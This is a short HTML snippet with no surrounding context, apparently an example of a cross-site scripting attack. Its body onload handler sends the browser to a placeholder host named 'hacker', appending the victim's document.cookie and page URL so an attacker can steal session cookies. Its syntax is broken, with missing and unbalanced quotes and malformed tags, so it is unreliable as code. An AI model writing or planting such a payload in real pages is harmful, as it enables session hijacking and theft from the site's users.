< HTML > < body onload=document.location.replace(http://hacker/post.asp?victims message=" + document.cookie + " < br > " + "URL:" + "document.location);/> < /body > < /HTML >